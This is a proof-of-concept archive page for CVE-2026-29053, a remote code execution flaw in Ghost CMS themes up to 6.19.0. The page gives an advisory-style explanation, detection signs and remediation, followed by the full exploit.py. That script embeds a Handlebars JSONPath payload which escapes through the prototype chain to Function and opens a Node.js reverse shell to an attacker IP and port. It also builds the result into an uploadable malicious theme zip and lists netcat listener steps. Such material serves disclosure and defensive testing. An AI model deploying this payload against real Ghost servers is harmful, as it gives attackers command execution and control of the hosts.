PoC Archive PoC Archive
High CVE-2026-29053 (GHSA-cgc2-rcrh-qr5x) patched

Ghost CMS Theme JSONPath Remote Code Execution — CVE-2026-29053

by AC8999 · 2026-07-05

Severity
High
CVE
CVE-2026-29053 (GHSA-cgc2-rcrh-qr5x)
Category
web
Affected product
Ghost CMS
Affected versions
<= 6.19.0 (fixed in 6.19.1)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherAC8999
CVE / AdvisoryCVE-2026-29053 (GHSA-cgc2-rcrh-qr5x)
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsghost-cms, rce, jsonpath, static-eval, handlebars, theme-upload, prototype-pollution, nodejs
RelatedN/A

Affected Target

FieldValue
Software / SystemGhost CMS
Versions Affected<= 6.19.0 (fixed in 6.19.1)
Language / PlatformNode.js server-side (Handlebars templates), Python build tooling
Authentication RequiredYes (Ghost Admin access required to upload a theme)
Network Access RequiredYes

Summary

Ghost CMS uses the jsonpath package, which internally relies on static-eval to interpret JSONPath filter expressions embedded in Handlebars theme templates. static-eval is explicitly documented upstream as unsafe for untrusted input, yet Ghost passes attacker-influenced theme template content straight into it. A malicious theme can embed a crafted {{#get}} helper filter expression that walks the JavaScript prototype chain (via __proto__ bracket-notation tricks) to reach the Function constructor and execute arbitrary Node.js code in the context of the Ghost server process. The PoC builds a full working Ghost theme package containing the malicious template and a helper script to generate a ready-to-upload theme zip pointed at an attacker-controlled callback address.


Vulnerability Details

Root Cause

static-eval, used by the jsonpath dependency to evaluate JSONPath filter expressions found in Handlebars templates, evaluates attacker-supplied expression strings without any sandboxing, allowing prototype-chain traversal to reach Function and execute arbitrary JavaScript.

Attack Vector

  1. Attacker with Ghost Admin theme-upload privileges (or one who tricks an admin into installing a theme) builds a malicious theme containing a page template with a crafted {{#get "posts" filter="tags:{{@site[?(...)]}}"}} expression.
  2. The expression uses {__proto__:"".toString}["constructor"] to obtain a reference to Function, then calls it with a string that invokes process.mainModule.require(...) to run OS-level actions (file write, command execution, reverse shell).
  3. Admin uploads and activates the theme through Ghost Admin → Settings → Design.
  4. Any page rendered with the malicious template (e.g. one with the rce slug) triggers the JSONPath evaluation and executes the embedded payload server-side.

Impact

Full remote code execution in the context of the Ghost Node.js server process, including arbitrary file write, command execution, and reverse shell access to the underlying host.


Environment / Lab Setup

Target:   Ghost CMS 6.19.0 (Docker image built via build/Dockerfile, jsonpath 1.1.1)
Attacker: Python 3, npm/gulp to package the theme, Ghost Admin credentials

Proof of Concept

PoC Script

See exploit.py, page-rce.hbs, and build/ in this folder.

1
2
python3 exploit.py -i <ATTACKER_IP> -p <ATTACKER_PORT> -o malicious-theme.zip
nc -lvnp <ATTACKER_PORT>

exploit.py injects the attacker IP/port into a Handlebars payload template (page-rce.hbs) and zips the resulting theme directory into an uploadable Ghost theme package. build/ contains a Dockerfile/entrypoint that stands up a vulnerable Ghost 6.19.0 instance with the vulnerable jsonpath version pinned for local testing.


Detection & Indicators of Compromise

Signs of compromise:

  • Unrecognized theme uploads/activations in Ghost Admin audit logs
  • Node process spawning shell/network child processes correlated with page views
  • Presence of unexpected files (e.g. marker files) written by the Ghost server user

Remediation

ActionDetail
Primary fixUpgrade Ghost CMS to 6.19.1 or later
Interim mitigationRestrict theme upload/activation to fully trusted administrators; review any custom/community themes for suspicious {{#get}} filter expressions before installing

References


Notes

Mirrored from https://github.com/AC8999/CVE-2026-29053 on 2026-07-05.

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
import os
import sys
import zipfile
import argparse
from pathlib import Path

TEMPLATE = '''{{!< default}}
<h1>Loading...</h1>
{{#get "posts" filter="tags:{{@site[?( ({__proto__:\\"\\".toString})[\\"constructor\\"](\\"var s=process.mainModule.require('net').Socket();s.on('error',function(){});s.connect(PORT,'IP');s.on('data',function(d){process.mainModule.require('child_process').exec(d.toString(),function(e,o,r){s.write(o+r)})});return 1\\")() )]}}" limit="1"}}
{{/get}}'''

def main():
    parser = argparse.ArgumentParser(description='CVE-2026-29053 Ghost RCE')
    parser.add_argument('-i', '--ip', required=True)
    parser.add_argument('-p', '--port', type=int, required=True)
    parser.add_argument('-o', '--output', default='malicious-theme.zip')
    args = parser.parse_args()

    script_dir = Path(__file__).parent.resolve()
    poc_dir = script_dir / 'poc'

    if not poc_dir.exists():
        print(f"[-] poc directory not found")
        sys.exit(1)

    # Generate payload
    payload = TEMPLATE.replace('IP', args.ip).replace('PORT', str(args.port))
    (poc_dir / 'page-rce.hbs').write_text(payload)
    print(f"[+] Payload: {args.ip}:{args.port}")

    # Create zip
    exclude = {'node_modules', 'dist', 'yarn.lock', 'package-lock.json', 'gulpfile.js', '.git'}
    zip_path = script_dir / args.output
    
    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
        for root, dirs, files in os.walk(poc_dir):
            dirs[:] = [d for d in dirs if d not in exclude]
            for file in files:
                if file not in exclude:
                    file_path = Path(root) / file
                    zipf.write(file_path, file_path.relative_to(poc_dir))

    print(f"[+] Created: {zip_path}")
    print(f"\n1. nc -lvnp {args.port}")
    print(f"2. Upload theme, create page with slug 'rce'")
    print(f"3. Visit /rce/")

if __name__ == '__main__':
    main()